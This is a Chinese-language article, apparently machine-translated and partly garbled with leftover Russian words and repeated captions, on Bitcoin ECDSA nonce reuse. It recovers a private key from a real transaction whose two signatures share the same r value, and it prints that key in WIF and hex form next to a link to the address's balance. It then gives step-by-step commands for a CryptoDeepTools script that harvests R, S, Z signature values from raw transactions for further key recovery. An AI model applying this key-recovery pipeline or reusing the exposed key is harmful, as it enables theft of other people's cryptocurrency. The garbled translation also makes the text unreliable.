區塊鏈中的第一個嚴重漏洞以及如何從 RawTX 文件中獲取公鑰比特幣 ECDSA RSZ 值


本文中,我們將討論從比特幣區塊鏈中提取簽名值 ,但首先,讓我們記住由Niels Schneider  (又名 tcatm  )ECDSA R, S, Z 發現的區塊鏈交易中的第一個嚴重漏洞 Nils Schneider 

比特幣開發商和 “BitcoinWatch” 和 “BitcoinCharts”的所有者。

4.1 比特幣危險隨機攻擊的歷史
4.1 比特幣危險隨機攻擊的歷史

文檔 [PDF]私鑰恢復組合攻擊:在存在不良 RNG 事件的情況下流行的比特幣密鑰管理、錢包和冷存儲解決方案的極端脆弱性 

2012 年 12 月 25 日,  Nils 發現了一些比特幣區塊鏈交易的潛在弱點。

看看這個交易:

transaction: 9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1


區塊鏈中的第一個嚴重漏洞以及如何從 RawTX 文件中獲取公鑰比特幣 ECDSA RSZ 值

input script 1:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff

input script 2:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff

該交易有兩個輸入和一個輸出。
如果仔細觀察這兩個輸入腳本,您會注意到在開頭和結尾有相當多的相同字節。
末尾的那些字節是硬幣所花地址的十六進制編碼公鑰,所以這沒有錯。
但是,腳本的前半部分是實際簽名 (r, s)

r1: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
r2: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1

s1: 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
s2: 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab

正如你所看到的, r1 它是一樣的 r2。 這是 一個巨大的問題

我們可以將 私鑰還原 為這個公鑰:

04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff

為此,我們可以使用學校代數中的一個簡單公式😉

private key = (z1*s2 - z2*s1)/(r*(s1-s2))

我們只需要找到 z1 並 z2

這些是 хэши 需要簽名的輸出。讓我們獲取輸出交易並對它們進行計數(由 計算 OP_CHECKSIG):

z1: c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2: 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc

接下來,讓我們將所有這些值打包到一個 Python腳本中 vulnerabilityR.py

Python腳本:vulnerabilityR.py
Python腳本:vulnerabilityR.py

p 只是一個數量級 ,是比特幣使用的G曲線參數 。secp256k1

讓我們為計算創建一個字段:

K = GF(p)
K((z1*s2 - z2*s1)/(r*(s1-s2)))

讓我們運行腳​​本: python3 vulnerabilityR.py

接下來,我們的腳本:  vulnerabilityR.py 將計算 該字段中的私鑰 :

ADDR: 1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm
WIF:  5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ
hex:  c477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96
在bitaddress網站上查看私鑰
在bitaddress網站上查看私鑰

找到私鑰!

https://www.blockchain.com/btc/address/1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm

0.1638109比特幣
0.1638109比特幣

當然,比特幣的開發者通過引入確定性函數修復了這個漏洞。

此功能 RFC 6979 在比特幣簽名中引入了隨機性元素,從而增強了交易的加密強度。 ECDSA

文檔 [PDF]RFC 6979:數字簽名算法 (DSA) 和橢圓曲線數字簽名算法 (ECDSA) 的確定性使用 


正如我們在實踐中所知,比特幣區塊鏈中存在完全不同的易受攻擊的交易。

我們之前發布過 статью:  “比特幣區塊鏈上 ECDSA 中的一次弱交易,在 Lattice Attack 的幫助下,我們收到了 BTC 硬幣的私鑰”

https://habr.com/ru/post/671932/

現在讓我們從 “RawTX.json”文件 (我們在 01BlockchainGoogleDrive中獲得 )中獲取公鑰 Bitcoin ECDSA 和價值 R, S, Z

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/02BreakECDSAcryptography/

sudo apt install python2-minimal

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py

sudo python2 get-pip.py

pip2 install -r requirements.txt

chmod +x getsign.sh

./getsign.sh
文件
文件
我們的 Bash 腳本代碼:getsign.sh
我們的 Bash 腳本代碼:getsign.sh

因此,讓我們詳細了解一下 Bash 腳本的全部工作:  getsign.sh

cat RawTX.json > index.json

將文件複製 RawTX.json 到新文件中 index.json

for run in {1..4}; do

我們打開它是 ЦИКЛ 因為  我們在文件中取了 index.json 4 行{1..4}

export LINE=1 ; sed -n "${LINE}p" index.json > index2.json

該實用程序 export 採用 第 1 行 並將其保存在新文件中 index2.json

sed -i '1d' index.json

該實用程序 從文件中 sed 刪除 第 1 行 index.json

echo 實用程序為我們創建一個 Python 腳本 fileopen.py
echo 實用程序為我們創建一個 Python 腳本 fileopen.py
python3 fileopen.py

我們運行 Python 腳本 fileopen.py 並成功創建了一個新的 Bash 腳本: signscript.sh

chmod +x signscript.sh
./signscript.sh

我們獲得了Bash 腳本的權限 :signscript.sh

結果, 啟動了breakECDSA.py Python 腳本  ,最終從中提取了 比特幣的價值  和公鑰。RawTXR, S, Z

所有這些都保存到一個文件中: "signatures.json"

文件:“signatures.json”比特幣公鑰和R、S、Z值
文件:“signatures.json” 比特幣公鑰和 R、S、Z 值
rm signscript.sh
rm fileopen.py

該實用程序 rm 刪除了 Python 腳本 fileopen.py 並成功創建了一個新的 Bash 腳本: signscript.sh

done

結果, 4個週期後一切結束

rm index.json

循環結束,實用程序 rm 刪除 index.json

Bash 腳本:  getsign.sh Завершает работу!

現在我們了解到:

  • Bitcoin 從中獲取公鑰  ECDSA
  • R, S, Z 從中獲取價值  ECDSA
  • 申請它 криптоанализа

源代碼:  https://github.com/demining/CryptoDeepTools/blob/main/02BreakECDSAcryptography

電報:  https: //t.me/cryptodeeptech

視頻素材:  https: //youtu.be/BYd-cuFRZmM

 密碼分析

Crypto Deep Tech